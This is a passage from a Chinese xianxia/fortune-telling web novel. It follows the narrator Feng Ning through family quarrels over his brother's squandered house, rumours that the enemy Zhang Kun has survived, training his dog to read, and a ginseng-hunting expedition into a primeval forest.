十几万啊,因为我的缘故,他因祸得福,结果可倒好。十几万变成十万,十万变成了个闹脏东西的房子。好不容易又气运来了,有了一套不错的房子,结果他居然又给卖了?
听那意思还是低价卖的?十万变成了八万?
都说坏人绞尽脑汁,不如蠢人灵机一动。冯涛真的让我大开眼界。
“你懂啥,老幺。二哥承认你有些本事,也能说会算。但人要是来了运气,那要学会抓得住。房子这东西,哪能说涨价就涨价的?不如钱实在。”听我说他,冯涛在那翻白眼。
“够了,你个败家子,你的意思,你花十万买了个房子,结果还没住几天,八万给卖了?”我爹鼻子差点没气歪了。
“爹,你老了,你咋就不懂年轻人呢。我是要赚大钱的人,我以后要当大老板的。两万块,斤斤计较个啥呢。”我二哥翻了翻白眼,又看向我,“老幺,二哥这次来呢,是想你帮我看看气运,我准备干个大的!”
我笑了。
我爹也被气笑了,“啥,你还想干个大的?你是想把那八万块也折腾出去?”
结果我二哥根本不搭理我爹,目光灼灼地看着我。
我说,“行,我给你看看,但这是最后一次给你看事了。从今往后,你啥事我都不会管的。就算咱爹咱娘求我,我都不会看你一眼。”
我这话是说给我爹我娘听的,虽然是爹娘,但我觉得他们也有些过了。对我二哥毫无底线的帮助,还拉着我,我没那个义务。
我二哥脸色有些不好,但为了让我帮他,倒是点了点头,“切,冯宁,别小瞧你二哥,一次气运,我就能翻身做老板。”
我摇了摇头,那可是十几万啊,这钱去帝都都能买房子了。
就算啥也不干,在家待着,也够花很久了。结果,我二哥不到一年的时间,折腾出一半了。
我没废话,运转道力,眼睛热了起来。我二哥头上的气运尽显在我面前。
那原本前阵子还发黄的贵气,如今已经没有了,反而最上面是一片红色。
这种红色不是血红,不是黑红,所以不是血光之灾。
这是正红,跟正黄类似。只不过黄有贵气聚财之意,而正红,则是损财。
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红的越多,损的越多。
事实也是如此,原本那贵气黄压着这片红,如今呢,黄被正红压着,也应了他当下的处境。
我说,“冯涛,你的运气被你折腾没了,接下来不管你做什么事,都会损财。”
我二哥眼睛一横,“老幺,你诅咒我?”
我摇头没在理会他。
冯涛拿我没办法,在那碎碎念,说我害怕他发大财,说我不顾忌兄弟情义啥的。我爹气的要抽人,倒是我内心平静。
因为,这真的是我最后一次帮他看运气,之前还看在爹妈的份上帮他,现在我不管了。
我二哥还在碎碎念呢,我家客厅里的电话突然响了,我娘接的,随后看向我二哥,“老二,你媳妇的电话。”
我二哥走了过去,“啥事啊?”
接着脸色就变了,一屁股坐在了沙发上,眼珠子都直了。
“咋了涛啊?”我娘走上去问。
“娘,我那房子,被人转手卖了二十万?还卖出去了?”我二哥眼睛都红了。
“啥?二十万?这才几天啊?咋回事啊?”我娘也是惊得瞪大眼睛。
“这,这,这不是我把那房子卖了嘛,我想买个便宜点的。让我媳妇在哈城挑挑,结果碰到了一个买主,聊着聊着,说是这人从卖我房子的风水师手里把我房子买了,花了二十万。”我二哥人都麻了。
“啥风水师啊?”我娘听得云里雾里的。
我二哥嘴巴颤抖,“就是,就是我买房之前认识个风水师,当初买房子,是他说好的,我才买的。也是他劝我卖的,我才卖的。”
说完,我二哥突然看向我,然后连滚带爬地过来,“老幺啊,你帮二哥,把这房子给我弄回来。二哥求你了,十几万啊,十几万啊!我亏了十几万啊!”
“滚!”我的声音不大,却夹杂着愤怒。
我就觉得他卖房这事肯定有猫腻,现在也就明白了,这是有‘高人’指点呢。
我救了他的命他不信我,我是他亲弟弟他不信我,人家随便忽悠两句他就把房子给卖了。
更无语的,骗他买了个阴宅的,又骗着把好房子给卖了的,居然是同一个人。
……
第一百二十一章震惊的消息
我爹我娘面面相觑,他们看了看我,又看了看我二哥。
我娘想说些啥,话到嘴边咽下去了,原本怒火的我爹,站起来的身子又坐下了,耷拉着个脑袋,摸着欢欢的头,在那叹了口气,最后也没说话。
他们心里清楚,我这次是真的不会在帮忙了,哪怕是爹妈,也不能再开口了。
我二哥也被镇住了,他的眼神不死心。
我没说话,也没理会他们,然后平静地吃着饭,吃完招呼欢欢就出门了。
前脚刚走,我就听我二哥求我爹我娘再帮一次,我爹说,“老二,以后的路你咋走,爹都不管了。”
他又求我娘,我娘说,“涛啊,你弟不欠你的,他救了你的命,你宁可信个外人,也不信他。就这样发吧,娘得洗碗做饭了。”
我二哥朝着我爹娘喊,“啊,你们都不管我,自从老幺好了,你们就围着他转。我也是你们儿子啊,就这点事都不管我。好,我不问了,等我闯出一片天,别想着我帮你们。”
我跟欢欢往城区那边走,冯涛就出来了。他气冲冲地跟我顺路,从我身边路过。他看了我一眼,那张脸委屈得像个受气包,然后就走了。
我面无表情,亲兄弟,也就到这了。至于我听到爹妈的那些话,我心里也清楚,他们也放弃冯涛了。
有些时候像这种事,亲人冲你发脾气,那是在意。冷漠了,那就是真不在乎了。
“冯大师。”不知不觉地,我来到了报亭,听到了有人叫我。
抬头看向了大黄牙,他规规矩矩的,尊敬地跟我打着招呼。
“嗯。”
我点了点头算是回应,这里其实离我家不远,但是貌似很久没来了。见到了大黄牙,觉得有点意外,又有些好感。
“冯大师,您要点啥书吗?我这有新货了,故事会啥的,都是最新版的。您喜欢就拿着看。”大黄牙朝我呲着牙,他看上去有点怕我。
没错,就是怕我。
“这是啥?”我看到几个彩色的图画本,看起来有点吸引人。
“大师,这是最新的岛国漫画,这个叫龙珠,这个叫樱桃小丸子,灌篮高手。这都是我托人从岛国弄的正版,您喜欢送您。”大黄牙客气道。
漫画。
那不就是画册吗?
反正我觉得是这样。
我摇了摇头,呵呵,我都二十岁的人了,还是修道的,这些画册子也就能吸引那些小学生了,我肯定不感兴趣。
幼稚!
“老狗呢?最近没他消息了。”我突然提到了老狗。
“啊!大师您不知道?”大黄牙疑惑。
“知道啥?”我随手拿起了那个叫龙珠的画册子看了看,随口敷衍了一句。
结果,刚看了几页,就被里面那种奇幻的世界观给吸引了。
接着完全是下意识地往下翻。
“那个,大师,你不知道啊,老狗被红姐差点把耳朵给割了,这段时间哪哪不敢去,蹲在家里反省呢。”大黄牙说。
我本来被漫画吸引呢,听了大黄牙的话,我疑惑道,“有这事。”
见我是真的不知情,大黄牙倒是松了口气,“大师,原来您真不知情啊。因为这事,我吓得也不敢见您。事情是这样的,老狗说因为做错了事,得罪了您,又得罪了红姐。后来红姐把他按住,打了一顿,把耳朵给割了一半,后来给他送医院又缝上了。这事真把老狗吓坏了,到现在都没出门呢。”
额。
这事我倒是记得,这老狗当时越界了,我跟陈红也没现在的关系。
陈红弄他我知道,倒是没想到差点割了耳朵。
虽然如此,但我也不是圣母,老狗这种人,确实该被收拾。
只是这事过了挺长时间了吧?还没走出来呢。
“有时间你去给他传个话,就说我说的,事情过去就算了,以后陈红也不会难为他。但要长记性。”我说。
“明白,明白。”大黄牙连连点头。
“这漫画多少钱?”我问。
“两块一本。”大黄牙明显比老狗聪明,我为啥说啥,哪怕他想讨好我,却察言观色没有那样做。
“这几本我都要了,不用找了。”我拿了一百块放在了摊子上,把几本漫画都收下了。
“谢谢大师照顾。”大黄牙说完,欲言又止。
我说,“有啥直
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说,我不喜欢藏着掖着的。”
看得出来,大黄牙有话想说。
“冯大师,这件事,我也是听别人说的,说是,张坤要回来,好像还问了陈红和您的事。我总觉得,这不是个好事。”大黄牙舔了舔干涩的嘴唇,左顾右盼地说道。
“谁?”我把漫画放在了欢欢的头上,它顶得很稳。
而后我在听了大黄牙的话,觉得自己听错了。
张坤?
我亲眼看到他从洞里面掉到深渊下面的,他又活了?
真的假的?
这么难杀?
“就是那个八面佛张坤,豪情洗浴的大哥张坤,我知道您因为红姐跟他见过,还有点矛盾。本来我是打算这两天就告诉您的,但老狗的事,我又不敢擅作主张。正好碰到您了,所以就说了。”大黄牙对我又敬又怕道。
听到大黄牙的话,我眯了眯眼睛,我有预感,张坤他又活了。
“这个消息很重要,你继续帮我留意点。有新情况立马告诉我,要是我不在,你就告诉我爹我娘。”我说完掏出了一千块放在了摊位上。
大黄牙想说些啥,而我已经转身走了。
张坤回来这事,我宁可信其有,不可信其无。关乎家里人的安全,决不能马虎。
而我之所以相信张坤还活着的事,那是因为在那深渊洞穴的时候,我用了灵犀一指,透了他的经络,但并没有直接杀死他,他就掉下深渊了。
后来里面出现了尸坑,土鼠说那一层层的尸体快把深渊给堵上了,所以我猜测他应该掉到了尸坑上侥幸活了下来。
至于我当时听到的咀嚼声音,现在想起来,应该是刚好张坤掉在了尸体上,然后尸体粘液在墙壁上发出的声音了。
回去的路上,我隐约地感到一丝不安。张坤要是真回来了,那肯定是要报复我家里人。
这家伙是个定时**!
这是我不能容忍的。
我看了一眼欢欢,我觉得,欢欢得独当一面了,起码,能对付这个张坤才行。
而此时,欢欢貌似也感受到了我的目光,顶着漫画转头盯着我,眼神像是看出了点啥似的。
……
第一百二十二章我满头大汗
一直以来,我对欢欢的态度都是散养。虽然它开了灵智,还练了一身的本事,但我也没有想过利用它做啥事。
但眼下不同了,我嗅到了危险的气息,欢欢地拿出看家本领,那就是看家护院。
所以回到家我就开始对欢欢进行特训,而我的第一步就是教欢欢认字。
说实话,在认字这方面连人都不愿意,何况是一只狗呢。
哪怕欢欢在修行上有天赋,但在学习文字上,那真的是戴上了痛苦面具。
院子里,我拿着龙珠漫画,对欢欢苦口婆心道,“欢欢,那个张坤是个大坏人,它现在盯上咱们家了,你要是不认字,不强大起来,陈皮的下场你见过了吧?到时候被抓住,那个张坤比那个邪修还要狠。能把你炖了。还有就是俺爹俺娘,你忍心看到他们被害吗?”
该说不说,漫画是真好看。
闻言,欢欢蔫吧了,把我教它的拼音认真地学了起来,偶尔还嚎两声,像是在念拼音呢。
就这样,我看了一下午的漫画,欢欢看了一下午的拼音。
眼看要晚饭了,高叔和高婶突然来了我家,看到我在院子里,我那高叔头抬得老高,像是发家致富了似的。
倒是高婶还是那么实在,“冯宁啊,看家呢?”
这话怎么听怎么别扭,就好像是我是欢欢似的,在看家护院呢。
但我知道高婶是啥人,不太会说话,所以也没计较。心里面有点无语,但还是问道,“高叔,高婶,你们咋来了?”
高叔撇了撇嘴,“哼,我来找你爹聊聊,我家高月出息了!说是要把我们老两口接到南方容城,跟你爹告别。”
高叔话里话外都带着一股傲气,那样子像是在对我说的,他家高月厉害了啥的,多亏当初没嫁给我啥的。
我没搭话,高叔看了眼欢欢,奇怪道,“你这是干啥呢?”
我随口说道,“啊,没啥,让欢欢学学拼音好认字。”
“啥?让狗认字?”高叔一脸茫然。
“嗯。有啥问题吗高叔?”我没觉得我的想法有啥问题。
“疯了疯了,我家月月说容城有僵尸,你这可倒好,让狗认字。你在不让它给人看事呢?那多好?”高叔摇了摇头,他那反应有点大,然后就进屋了。
高婶说,“冯宁啊,别听你高叔在那瞎说话,人都能认字,狗认字咋啦。我看好你冯宁,一个傻子都能变聪明,你肯定能教会狗认字。”
说完高婶也进去了。
说实话,不谈做傻子那八年,老子从醒了以后,日子也算是风生水起。
哪怕在一些大人物面前,也都是挺胸抬头的。但在高婶这张嘴面前,我真的是特么的没招。
人家没别的,真的没文化,主打一个真诚。我还没办法反驳!
“哎,算了算了,我把你女儿都睡了,两清了!”没办法,我只能这样安慰自己了。
我没跟着进去,坐在椅子上看漫画,欢欢依旧在那啊窝鹅,就像是人喉咙里有痰,说话黏糊不清。
没办法,它是条狗,说不了话,这已经很不错了。
里面,很快就传来了我爹和高叔的声音,这俩人是发小,都认识一辈子了,虽然打打闹闹的,有过不愉快,但得知我高叔要走,我爹有些沉默了。
倒是高叔缓和了下气氛,这人平日里捧高踩低,对我爹也是那种高高在上的态度,但眼下呢,难得夸我爹,说我爹好样的,这辈子都不掉分量。
意思就是我爹有面,活得坦坦荡荡。
晚上,我爹没让高叔他们走,拉着他们吃饭,我娘特意做的小鸡炖蘑菇,又弄了个几个菜,大哥大嫂他们也回来了,得知高叔他们要去容城,也有些不舍。
“老幺啊,我记得前段时间你去容城了啊?”我大哥突然说。
闻言,我爹我娘一个劲地给我大哥使眼色,但我大哥憨啊,根本看不出个眉眼高低。
这下子高叔倒是反应了过来,问我大哥,“冯宁年前去的?”
我大哥点头,“啊,高月也在容城啊?老幺,不会是你小子把小月带去的吧?人家一个大姑娘,对你还有意,你小子,别做啥缺德事!”
我大哥说完就去夹鸡肉,吃得津津有味,完全没发现此刻餐桌上已经没声了。
再看我大嫂,一个劲地捅咕他,还踩了他一脚。
我大哥
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憨啊,奇怪地看着我大嫂,“媳妇,你踩着我了!”
没救了!
我家出了个嘎子就够我爹我娘愁的了。现在又来了个憨子,容城那边话咋说来着,对,憨批,瓜娃子啊!
一门双杰!
说实话,老子也心虚的一批啊,我故作镇定的吃饭,假装啥都没听见。
但高叔哪里会放过我,直接吹胡子瞪眼道,“你个臭小子,我就说嘛,我家小月哪来的钱跑南方去。原来是你帮得忙!说,你对我家小月做啥了?她咋那么听你的话。你是不是弄啥妖术了?!”
高婶也说,“哎呀,冯宁啊,高婶看你长大的,你咋学坏了呢。刚才我看你在外面教狗学拼音,你不会把俺家小月当狗训了吧?那样听你的话。俺家小月可是好姑娘啊,要嫁人的呢。你到底做啥了!”
我爹急忙打圆场,“老高啊,放心吧,我家老幺不是那种人。应该就是怕高月出事,送送高月。”
我娘也说,“老高,我给我家冯宁打包票,这孩子虽然古怪,但男女那点事肯定不会做的。最近有个词咋说的,纯友谊,对,俩孩子纯友谊。”
听了我爹我娘的话,我额头上都冒汗了。我心想,爹啊娘啊,你们千万别发誓啊。
“我给了高月两万块。”看着高叔那**的眼神,我知道自己也避不开,但我不太喜欢撒谎,想了想,觉得拿钱说事最好。
此话一出来,我爹我娘都傻眼了。
我娘,“啥?两万块?当初咱们家给彩礼才几千,算上冰箱彩电啥的,那都不到一万。”
我爹扯了扯嘴,看我的眼神也变了变,我看他想问我啥,但看了一眼高叔,最后没敢问。
倒是我高叔表情有了微妙的变化,他看了看高婶,又看了看我,“真的假的啊,两万,给我家小月?别骗叔啊。”
我又避重就轻道,“当时高月找我,说想去闯闯,我怕她出事,就陪她走了一趟。来回的机票车票都是我拿的。高叔你也知道,高月一个女孩子第一次出门,还是去南方那么远,我不放心。万一碰到个馋她身子的坏人咋办?所以我才陪她走了一趟的。”
……
第一百二十三章彰显下钱力
说完这些话,我一脸真诚地看向高叔高婶,高叔高婶面面相觑,眼神也都清澈了。
高婶,“哎呀,冯宁啊,高婶误会你了,你是个好孩子啊。那个,两万块,你是给高月的是吧?没打算要回去是吧?”
高叔也不说话了,直勾勾地盯着我,看那样,对这两万块很在意呢。
我松了口气,总算是糊弄过去了。至于那两万块我没放在心上,要知道因为高月,我彻底的成为了一个方士。
这种东西是钱买不到的。
在想到高月那丰润的身子,我觉得值了。
我爹我娘也在看我,他们虽然实在,但那可是两万块,谁也不想扬出去。
“高叔高婶,这件事,是我跟高月的事。还不还,我就不跟你们说了。”我打马虎眼,故意说得含糊不清。
都说人老奸马老滑,其实人在有了一定的经历之后,人都会变得圆滑。
我把这话说得含糊不清,高叔高婶他们就摸不透我,只要不咬**,以后真的发现我跟高月发生了关系,有钱顶着,他们就不敢乱来。
再说高婶吧,虽然人没文化,说话又实在又真诚,但当知道我给了高月两万块,她的眼珠子都转了。
很快,我吃完饭就下桌了,顺便把欢欢叫到了屋里。我教它怎么使用拼音,然后又拿了一本带有拼音的书放在地上。
之后,我就研究起了道器。
这一研究,眼看就要六月份了。在这期间欢欢能看懂书了,它的实力也跟着大涨。我之所以确认它能看懂,那是因为我给它写的一些道术相关的东西,它通过文字给练会了。
我估测,欢欢现在都要筑基期了。这次要是再遇到那个邪修,它一爪子能给拍死。
说实话,我也不知道欢欢为啥实力进步如此之快,我不是没有研究过,但研究不明白。但对我而言,对我家而言这是一件好事。
再说道器方面,我小有所成了。在那道器吊坠的基础上,我真的开发出了能对普通人有用的道器吊坠。
经过我的研究发现,原来道力是可以通过文字刻在上面的,而不同元素道力文字,发挥的也有所不同。
其中有能治疗的,有能挡住一次危机的,有能甩出去**的。
虽然制作道器的成功率不高,但我还是做出了数十个,给我爹妈大哥大嫂他们四个一个人。
还给我二姐二姐夫留了两个,剩下九个,我就留在手上了。
除此之外,我还有一个收获,那就是武器。这玩意是我突发奇想弄出来的,我看过一本书,上面写着有一种神剑,只有剑柄没有剑身,却可以催动自然之力为剑刃。
本来我是想试试的,结果真给弄出来了。
这是用黄铜做的,然后根据那女阴差的法子,我用道力翠了整整一个月。看似只有剑柄,其实不然,我已经试过了,它能**雷力成剑刃。
威力十足。
我用它劈开过一个山丘。
就是不知道田道士能不能挨一下。要是不能,那可太强了。
“冯宁,有,有领导找你。”听到这话,我有些疑惑,好不容易过了一阵子安逸的生活,谁又来打扰我?
这次没等我出屋,一个穿着中山装的女人走了进来,她有着一张婴儿肥的脸,一本正经地看着我。
钱冬梅?
我想过陈红,因为好久没见这个女人了。前段时间给我发了消息,说是去了贵省,好像是在那发现了啥。
我也想过可能是安然,或是黎雅。
唯独没想过会是钱冬梅。
“你好。”钱冬梅跟我打招呼。
我娘打量了一下这姑娘,说这姑娘看着年纪不大,然后走了。
“钱小姐,你来找我有啥事吗?”上次这女人说好的给我五十块,结果呢,五十块都没有,我还搭了点。
“老朋友见面,你一点也不热情。”她嗔怨道。
“打住,我们可不是朋友。”我摇头。
出来混也有一段时间了,很多事我还是拎得清的,我跟大部分人之间都算不上朋友。
哪怕是黎雅,我们更多的也是利益牵扯。
“真没意思,我们就不能成为朋友吗?”钱冬梅咬了咬嘴唇,
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神情有些不自然。
“钱小姐,还是谈钱比较好一些。啥事直说,我不喜欢拐弯抹角。”我摇头。
“啊!又谈钱,你就不能主动点?说帮帮我啥的,让我对你有点好感。”钱冬梅天真道。
“不能。我跟你不熟,虽然接触过,你不会以为我跟你认识,有过交易,就对你起了爱慕之心吧。另外,我为啥要让你对我有好感?我认识的女人多了,大美女一大堆,对我有好感的也不少,不差你一个。”我这话还真不是吹,她虽然漂亮,纯真,但那咋了?跟我有**关系。
钱冬梅被我的话气到了,她扭头就要走,但又把头扭了回来。
半天才说道,“哼,好,我来这,是因为我们遇到了些棘手的事。我想你能解决,这是上次的五十块,我再给你五十,跟我走一趟。”
说完,钱冬梅掏出了一百给我。
我看了看那钱,随手拿了过来,我看到钱冬梅的脸上露出了笑容,但紧接着我掏出了钱包,里面一百的票子一大把,有四五千吧。
我从里面掏出了一张五十的递了过去,“这五十是我应得的,至于跟你走,我没啥兴趣。”
钱冬梅下意识地接过了钱,愣了愣,“你……你不缺钱啊。”
我摇头,“没有人会不缺钱吧,只是我不缺你这五十块。我在当地还是很有名的,找我看事,最少也要五万。这还是友情价。”
钱冬梅咬了咬嘴唇,“这,这……”
看着尴尬的钱冬梅,我心里面倒是舒服了,有些时候人该低调低调,但要高调的时候,也不要藏着掖着的。
这女人虽然心不坏,但有些时候感觉她摆不正位置,求人要有求人的态度。
当然。
我嘴上说没啥兴趣,但实际上对这个小队我非常感兴趣,要不然我也不会留了家里的电话。
而她也确实厉害,凭着一个电话找到了我家。
看她老实了点,我又开口,“说说吧,啥事,说不定我会感兴趣。”
彰显下实力,在给她个甜枣,我开始套话了。
……
第一百二十四章憋宝人(感谢喜欢加更求票)
说实话,我挺喜欢钱冬梅这种女人的,没啥心机,套话容易。
果然,她被我套进去了,怕我不跟她走,把整件事都说了出来,包括他们小队的目的。
这次他们小队是跟一个南方的老板合作,去往云省的一个叫做牢山的地方。
带队的是个憋宝人,小队的任务是保护这憋宝人的安全,说是要找一棵千年的人参,事成之后,十万的酬劳。
对于憋宝人是啥,我并不太了解,我问了钱冬梅,她似乎也不太清楚,说是跟进山采药的人应该差不多。
百年人参我倒是听过,但也只是听过没见过。我们这有种说法,人参过了百年就有灵了,说是能化成人形,带着肚兜跟瓷娃娃似的,满山跑,知道躲人。
有人在长白山见过,也都是些传言,压根没有人真的证实过真假。
至于千年的人参,听都没听过。
“怎么样,感兴趣吗?千年人参啊,听说见了之后会有福气的。”钱冬梅扎着一双大眼睛说道。
“你们这种小队也要赚钱吗?”我好奇道。
“啊,我们除了几个头之外,我们是民间组织啊?钱啥的,当然要解决啊。”钱冬梅说完就捂了捂嘴,还轻轻地扇了扇自己的小嘴。
我有些意外,我还以为这种神秘的组织是官方的呢,没想到居然是民间的。
但我又从钱冬梅的话中能听出来,这事肯定跟官方有联系的。
“好,我陪你走一趟。但我说好了,要是遇到危险我就撤。我没有义务保护你们任何人,完全是自由人。”我答应了下来,除了因为对小队感兴趣之外,还有那个憋宝人,千年人参,我都有兴趣。
另外,在家待了快半年了,我也想出去走走。
说走就走,答应了钱冬梅,我跟欢欢交代了一下家里的事,第二天就前往了哈城。
结果,钱冬梅又给了我一个大惊喜,她带的钱只够我们俩做火车的,还是硬座,连个卧铺都买不起。
我无语了,我怀疑这女人克我,我甚至怀疑他是不是装单纯?看似我套路她,实则她套路我。
但眼下已经决定去了,快点比较好,我直接买的飞机票,两天后人已经在云省昆市了。
我是东北人,去过帝都,也去过川蜀的容城,但当我到了云省昆市,在下飞机的那一刻,真的觉得有种说不出的畅快。
而这种畅快就是气候带来的,清风吹过,不冷不热,身心都觉得很舒服。
甚至我有一种冲动,我想在这地方安个家,没事就来。
没来得及在昆市看看风景啥的,我跟着钱冬梅连轴转,坐车来了酒镇。
这是个山中的小镇,镇子就在牢山山脉东,而我听钱冬梅的意思说,我们要从这进山。
“阿梅,他真行吗?东北看事的,我们谁不认识几个。我看啊,不咋地,没你说的那样子厉害。”说话的是个女人,约莫二十四五岁,梳着两个马尾辫,也是一身的中山装。
她个子不太高,圆脸,长相有点江南水乡女子的味道,说的是普通话,但带着点川蜀的味道。
还算漂亮吧。
“阿彤,不要乱说话,冯宁真的有本事的。他救了我的命,两次呢。”钱冬梅替我说话。
这个叫阿彤的女人撇了撇嘴,“你上报的事大家都看了,队长都说了,那就是侥幸。你说他能对付河神?别开玩笑了,那可是河神呢,有水的地方大罗金仙来了也没辙。她能伤到?”
钱冬梅咬了咬嘴唇,还想替我解释,我说道,“这丑女人是谁啊?”
钱冬梅愣了愣。
那阿彤也是一愣,然后朝我呲牙,“你说谁是丑女人!”
要不是钱冬梅拦着,她那眼神能吃了我。但我不在乎,我说,“长得一般吧,不能说丑。但你腰上是啥啊?自行车胎吗?”
女人有点微胖,我是故意这样说的。
“你,你说我旁,阿梅你让开,我要弄死他!”阿彤要跟我拼命。
我平静道,“哦,就你能说我没本事,不能我说实话?”
“你!”不等阿彤把话说完,我见到了一张熟悉的面孔,就是在容城见到的那个俊朗男,他们小队的队长。
随着俊朗男的出现,阿彤狠狠地瞪了我一眼,也不敢再乱说话了。
“我叫曹俊,小队的队长。感谢你能过来帮忙,但这次任务很危险,你负责看事,不要乱走。事成之后,任务的费用有你一份。”和上次突然
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见面不同,曹俊倒是对我很客气,但是语气上又有着一种毋容置疑的执行力。
他在强调他是队长,听从指挥。
“我看你们带了十几个人,把我请过来,会不会有点多余。”我有点好奇,小队十几个人,其中拿个那罗盘的人是风水师。
结果他们却大费周章地把我找过来,我有些意外。
“朋友,阿梅极力地推荐你,说你很有本事。作为队长,我相信我队员的判断。但真本事还是假本事,我要亲眼所见才行。真有本事,我会不惜余力地邀请你。假的话,我们也可是朋友。”曹俊温文尔雅道。
上次见这人,觉得他是个暴躁的队长,这第二次见,却像是换了个人。果然,能成为这个小队的队长,肯定没那么简单。
但就是实力弱了点,情商思维还是可以的。
我点了点头。
曹俊也不废话,让人给我递过来一个包,里面是进山里穿的衣服,还有一些补给品啥的。
这可比上次跟钱冬梅一起进山好太多了。
很快,我们分别坐了几辆车,沿着一条土路前行,直到没有路可以走了,我们才下车。
向导是酒镇的当地人,他说的是双语,当地话,还有有些口齿不清的普通话。
我们就这样进山了。
按照向导说的那样,这边虽然是牢山山脉,但属于外围,而我们要去的那地方是牢山中间,他也不敢进去。
因为那是真正的原始森林了,里面啥东西都有。
这边。
十几个人一起进山,有的认真听,有的不屑一顾,轻视向导。
此人看上去四十来岁,一身的腱子肉,脸如刀削斧砍,眼神中带有一丝傲气。
他就是带队的憋宝人。
他言语轻蔑道,“我又不是没来过牢山,没啥了不起的。要是放在十年前,老子一个人扛着炮筒就进来挖宝。你们几个看着还行,但这个东北来的,一个看事的,我觉得多余了。”
我皱了皱眉头,这才进山这家伙就搞针对?
但眼下,我没啥心情跟他浪费口舌,因为我总觉得四周有动静。声音虽然很小,但我听得很清楚,唰唰唰的那种踩树叶的动静。
……
第一百二十五章有大蛇
我运转道力,双眼用力,朝着那细微的声音看了过去,然而,一无所获。
我皱了皱眉头,以我现在的实力,几十米开外的动静都能捕捉到。然而,这次却连一点迹象都没有。
我猜测,应该不是啥邪门的东西,可能是动物吧。随后我不再催动道力,而是跟着小队一直往里走,但我时刻都保持警惕。
山脉的深入,寂静的林子,给人一种如深渊的压迫感。原始森林,跟我们东北那普通的林子完全是两码事。
树木奇形怪状高耸入云,四周的灌木成荫,林子里忽明忽暗,有一种肃杀之气。
“蛇,蛇,大蛇!”突然,有人喊了一句,这是小队的一个女人,一条两米长的花蛇从她脚边划过,吓得她脸都白了。
女人突施冷箭的叫唤,大家也都吓了一跳。但小队里的人都不一般,很快也就冷静了下来。
“哼,大惊小怪的。你们接这个任务的时候难道没做攻略吗?这是原始森林,出现个蛇很正常!至于嘛大呼小叫的嘛。”憋宝人皱了皱眉头,对于女人的喊叫很不满。
“我,我……”女人二十来岁,花容失色,听了憋宝人的话,脸上又红又白。
“大家都小心点。”曹俊皱了皱眉头,他冷冽地看向了憋宝人,但随后只是淡淡的提醒了一句。
小队的人对曹俊都很信服,大家都有回应地点了点头。然后小队就继续前进了。
而我也看了一眼这憋宝人,刚才这人拿我东北看事的说话,现在又讥讽小队的队员,我觉得这人有点啥大病。
等会要是遇到危险,直接把他给扔了,那问题肯定出在他的嘴上。
不过,这跟我没关系。
“曹队,不是我说,这人跟来到底有啥用啊?还分咱们钱。”那个阿彤又说话了,在曹俊面前小声地嘀咕。
她还有意地瞥了我一眼。
“阿彤,我警告你,眼下任务在身,你少说话。要是影响了团结,别怪我不客气。”曹俊的声音听上去很冷,但是他压根没有责怪阿彤的意思,反而故意走慢了一些,然后来到了我身边。
曹俊小声说,“朋友,你是看事的,肯定懂些风水,这地方,有什么说法吗?”
我从来不是个什么性情的人,我要说为了钱冬梅的信任啥的,所以好好办事,那绝对是屁话。
但既然来了,临时加入了这个小队,那我就要做好自己的事。何况,眼下这原始森林给我的感觉危机四伏,我不能拿人命去敷衍。
我说,“这地方氧气充足,风水协调,堪比洞天福地。而如此地方,一定会有一些大家伙出没。我觉得大家要小心点。”
我的态度很认真,氧气充足,风水协调,灵气自然浓郁,这种地方哪怕你不修行,生灵的身体也会受到影响。
这种情况第一个表现就是个头大,而大,往往就代表了力量。
曹俊点了点头。
“你要是真有本事,那就说一些我们不知道的。原始森林生物大,谁不知道?吓唬人呢。”阿彤又嘴碎了。
这次那个憋宝人倒是没说话,他似乎发现了啥,这看看那看看,还在地上抓起了一把土,然后在鼻子上闻了闻。
曹俊不满意的看了眼阿彤,那阿彤撇了撇嘴,倒也没有继续说话。
这次我没惯着她,“那你又能看出啥呢?”
见我怼她,阿彤脸色难看,“我,我能看出来的多了,反正比你多。”
我说,“那你说说,看出啥了。”
“我,我……”她憋了半天,结果一个字都没说出来。
“够了,阿彤。”曹俊再次警告这女人。
“曹队长,我其实挺好奇的,这会儿危机四伏,居然还有人在这说些没用的。这种人,你们是怎么收进来的?”我面无表情,声音冷漠,这曹俊看似公道,其实从始至终都偏向这个阿彤。
因为,对方已经语言攻击我几次了,他几乎没怎么阻止,反而来试探我。
听了我的话,曹俊皱了皱眉头,“你在质疑我的带队能力?”
我说,“我确实质疑。”
曹俊愣了一下,刚要说话,那憋宝人像是发现了什么,朝着所有人都挥了挥手。
大家赶忙伏下身。
此刻,我们在一个灌木前,伏身过去,前方是一条河流。
这河流宽有四五米,水碧绿碧绿的。隐隐约约,在河流的另一头,好像能看到一株很显眼的绿色植物。
那植物有五片叶子,被风吹得晃晃荡荡的。
“在这安营扎寨,有两点,第一,不要弄出大动静。第二,不能生火。”憋宝人转过头,把身子靠在灌木上,呼吸都急促了。
曹俊点了点头,跟大家说,“照做。”
在我眼里,这小队有点不合,但曹俊的一声令下,大家的行动迅速。
很快,一个个小帐篷就搭建完了。也包括我在内。
不知不觉中,我们在山里走了一天,等帐篷搭完,天已经完全黑了下来。
原始森林的夜晚,寂静,危机四伏,哪怕我一身的道术,也没有一丁点的安全感。
除了那种危机感,最难受的还是各种虫蚊的骚扰,虽然它们拿我没办法,但突然窜出来的千足虫,大蜈蚣,还是有些不适应的。
“接下来的十三天,我们就住在这,还是那两点,不要弄出大动静,不能生火。另外在加一条,你们要时刻地注意我周边的安全。”憋宝人说完,换了一身厚衣服,然后猛地灌了一大瓶子的水,又吃了一大堆的干粮,然后就趴在了地上,眼睛一直盯着那河对岸的五叶草,一动不动。
大家都面面相觑,但没人问为啥。之后曹俊做了安排,给小队的人分任务,两两一组,每隔四个小时换一批人,专门负责盯着憋宝人,保护他的安全。
其他的人,也被分成了几个小组,负责营地的事,总之,这人能力还是很行的,起码他的安排,我没发现有啥问题。
而接下来的十天里,这憋宝人让我知道了啥叫憋宝人,整整十天,他以一种乌龟的速度往前爬。
在这十天里,他没睡过觉,没吃过饭,没喝过水,眼下已经进河了。
他依旧缓慢地去靠近那五叶草,以他现在的速度,到河对岸的倒是不会太慢。
我算了算也觉得厉害,他说十三天,还真就是十三天能到那五叶草的位置。
而在这期间,他没有搞出来一点动静,哪怕进水都是悄然无息的。这家伙,有东西。
“大蛇,有大蛇……”我还在惊叹呢,憋宝人这活不是谁都行的,起码这个耐心,我估计自己做不到。结果灌木那其中一个负责盯着憋宝人的队员,突然朝我们惊恐地挥手,声音嘶哑。
……
第一百二十六章修真者
大家一听这话,面面相觑,看上去都没有太放在心上。
